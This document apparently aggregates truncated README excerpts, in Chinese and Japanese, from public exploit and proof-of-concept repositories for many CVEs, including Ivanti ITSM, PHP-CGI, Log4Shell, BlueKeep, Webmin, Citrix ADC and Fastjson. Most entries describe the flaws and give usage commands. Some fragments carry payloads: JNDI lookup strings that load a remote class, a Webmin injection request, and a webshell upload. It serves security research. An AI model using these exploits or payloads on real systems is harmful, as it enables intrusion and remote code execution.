itsm-exploit

针对 Ivanti Neurons for ITSM（本地部署版）的漏洞利用 此脚本利用多个漏洞，这些漏洞允许未经身份验证的攻击者在 Ivanti Neurons for ITSM（本地部署版） 上获取管理员访问权限并执行远程命令（CVE-2023-46808）。 有关技术细节，请参阅 技术细节 受影响版本 版本 2021.1.0.2021060601 至 2020.4.0.2021033001 受影响，更早的版本很可能也存在漏洞。 使用方法 安装依赖： pip install requests defusedxml 列出租户 python3 ivanti-itsm-exploit.py...

CVE-2024-4577-RCE

PHP CGI 引数インジェクション CVE-2024-4577 RCE 📜 説明 PHP バージョン 8.1.（8.1.29 未満）、8.2. （8.2.20 未満）、8.3.（8.3.8 未満）において、Windows 上で Apache と PHP-CGI を使用している場合、システムが特定のコードページを使用するように設定されていると、Windows は Win32 API 関数に渡されるコマンドラインの文字を置き換えるために「ベストフィット」動作を使用することがあります。PHP CGI モジュールはこれらの文字を PHP オプションと誤って解釈し、悪意のあるユーザーが実行中の...

CVE-2018-1263-Demo

エクスプロイトデモ このガイドでは、脆弱性のあるコンポーネントをインストールし、CVE-2018-1263 で言及されている phpMyAdmin のバグに関連する攻撃を実行する方法を説明します。 CVE の説明 脆弱性が存在する理由 攻撃の仕組み 脆弱性のあるコンポーネントのインストール方法 攻撃の実行方法 CVE の説明 このエクスプロイトは、phpMyAdmin バージョン 4.8.x（4.8.2 より前）で発見された問題に関連しています。この問題を悪用すると、攻撃者はサーバー上でリモートコード実行とローカルファイルインクルージョンを実行できます。この脆弱性は、phpMyAdmin...

CVE-2025-55182-research

CVE-2025-55182 - React Server Components RCE 注: AI/Claude によって作成されました。 https://github.com/ejpir/CVE-2025-55182-bypass 要約 CVE-2025-55182 は、React の Flight Protocol における重大な RCE 脆弱性です。この攻撃は、パストラバーサル + 偽チャンクインジェクション + $B ハンドラの悪用 を連鎖させ、Functionattackercode を実行します。 動作するエクスプロイトチェーンを提供してくれたmaple3142...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 認証済みRCE 認証済み攻撃者は、FusionPBXバージョン = 4.5.10 のPHP-Editor機能を使用して、既存のPHPページの1つを編集し、PHPペイロードを挿入できます。変更されたファイルに移動することで、www-dataとしてシェルを取得できます。 発見者: TheCyberGeek...

CVE-2024-37054-MLflow-RCE

| / || | | || | / \ \ / / | |/| || | | | | | | | | |\ \ /\ / / | | | || | | | | || || | \ V V / || |||||| ||/ // | \ / || | | \ / | | | || | | | | | |/ \ | | | | | | | | /| || | || \ ||| || / | CVE-2024-37054: MLflow リモートコード実行 PoC このリポジトリは、CVE-2024-37054 の概念実証 PoC を含んでいます。これは、MLflow...

CVE-2023-4220-exploit

CVE-2023-4220-exploit Chamilo LMS バージョン = 1.11.24 の /main/inc/lib/javascript/bigupload/inc/bigUpload.php における大容量ファイルアップロード機能の無制限なファイルアップロードにより、認証されていない攻撃者が格納型クロスサイトスクリプティング攻撃を実行し、Webシェルをアップロードすることでリモートコード実行を取得できます。 PoC bash CVE.2023-4220.sh -f webshell -u URL -l puerto...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep CVE-2019-0708 BlueKeep 用の Metasploit モジュール Pulled from https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp 修正済み ファイルコピー手順 1. /usr/share/metasploit-framework/modules/exploits/windows/ に 'rdp'...

CVE-2022-36446

CVE-2022-36446 CVE-2022-36446 - Webmin 1.996 リモートコード実行 脆弱性をトリガーするには、「Software Package Updates」モジュールへのアクセスが必要です。このモジュールにアクセスできるユーザーは、新しいパッケージのインストール時にOSコマンドインジェクションを実行することで、システム上でroot権限のコマンドを実行できます。 HTTPリクエスト: POST /package-updates/update.cgi HTTP/1.1 Host: 46.101.171.176:10000 Cookie: redirect=1;...

gitlab-rce-demo

GitLab Oj RCE 演示 该仓库包含一个自包含的演示环境，用于我们研究中描述的 GitLab notebook-diff RCE 漏洞链。它会启动一个全新的 GitLab 18.11.3 容器，通过公开的 HTTP 接口创建一个普通用户，并针对该实例运行 PoC。 技术细节：Going depthfirst：通过两个 Ruby 内存破坏漏洞实现 GitLab RCE 环境要求 基于 x86-64（amd64）架构的 Linux 安装了 Docker Compose v2 的 Docker Engine Bash、Python 3、curl、Git、iproute2 和 netca...

cve-2021-25646

Apache Druid リモートコード実行 脆弱性概要 Apache Druid は公式セキュリティアップデートを公開し、リモートコード実行の脆弱性（CVE-2021-25646）を報告しました。Apache Druid はデフォルトで認証が不足しているため、攻撃者は特別に細工したリクエストを送信し、Druid サーバーのプロセス権限を利用して任意のコードを実行する可能性があります。 Apache Druid は Java...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228 を利用し、RMI と LDAP の 2 つの方法でコードをリモートから注入する例です。 Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer と LdapServer の起動は Python3...

CVE-2025-45466

CVE-2025-45466 これは CVE-2025-45466 の詳細です。 CVE 開示: CVE-2025-45466 概要 Unitree Go1 ロボット犬（全バージョン using the hardcoded password 4. root 権限で好きなことを実行する。 結果 下のスクリーンショットに示すように、root アクセスのパスワードは passwd.sh図 1 に保存されています。また、このファイルは同じパッケージ内で確認できます図 2。 図 1: 図 2:...

CVE-2021-40444

CVE-2021-40444 PoC CVE-2021-40444（Microsoft Office Word のリモートコード実行）を悪用する悪意のある docx ジェネレーター このスクリプトの作成は、実際に使用されたサンプル（938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52（docxファイル））のリバースエンジニアリングに基づいています。 まず lcab をインストールする必要があります（sudo apt-get install lcab） 手動での再現手順については REPRODUCE.md...

CVE-2019-19781

CVE-2019-19781 Citrix ADC リモートコード実行 python 使用方法: python CVE-2019-19781.py http://192.168.3.244 0x01 NSVPX-ESX-13.0-47.22nc64.zip のダウンロード https://www.citrix.com/downloads/citrix-gateway/ 静的ネットワークの設定 0x02 nmap スキャン Scanning 192.168.3.244 65535 ports Discovered open port 80/tcp on 192.168.3.244...

CVE-2021-31630-OpenPLC_RCE

CVE-2021-31630-OpenPLCRCE OpenPLC v3 Webserverにおける認証済みリモートコード実行のためのエクスプロイト...

CVE-2022-42889-PoC

CVE-2022-42889 又名 Text4Shell RCE 概念验证 Text4Shell 是 Apache Commons Text 库中发现的一个严重软件漏洞的俗称（参见 CVE-2022-42889）。 本仓库旨在演示利用此 CVE 的远程代码执行 （RCE）。 该易受攻击的代码 用于 SpringBoot 控制器中，但请不要混淆，这不是 SpringBoot/Spring 安全问题。 在测试 RCE 之前，请构建 Docker 镜像： $ docker build -t text4shell . ... = exporting to image 0.0s = =...

fastjson-rce-lab

Fastjson 1.2.83 RCE 靶场环境 CVE-2026-16723 免责声明：本靶场仅供授权环境下的安全研究、教学演示与防御建设使用。擅自对未授权目标进行测试可能违法，使用后果由使用者自行承担。 漏洞概述 项目| 内容 ---|--- CVE| CVE-2026-16723 CVSS 9.0 影响版本| Fastjson 1.2.68 1.2.83 漏洞类型| 反序列化远程代码执行 RCE 核心特点| Gadget-free （不依赖任何第三方类库） 完整 RCE 条件| JDK 8 + Spring Boot Fat-JAR + SafeMode 关闭 靶场环境说明...

CVE-2023-42793

CVE-2023-42793 教育目的のみ CVE-2023-42793 の PoC 使用方法 CVE-2023-42793admin.sh: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port 動作確認画像: 使用方法 CVE-2023-42793rce.sh: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port command 動作確認画像:...

opsxcq-cve-2016-10033

PHPMailer 5.2.18 リモートコード実行 PHPMailerは世界で最も人気のあるトランスポートクラスであり、推定900万人のユーザーが世界中にいます。ダウンロードは毎日かなりのペースで続いています。多くのオープンソースプロジェクト（WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla!など）で使用されています。...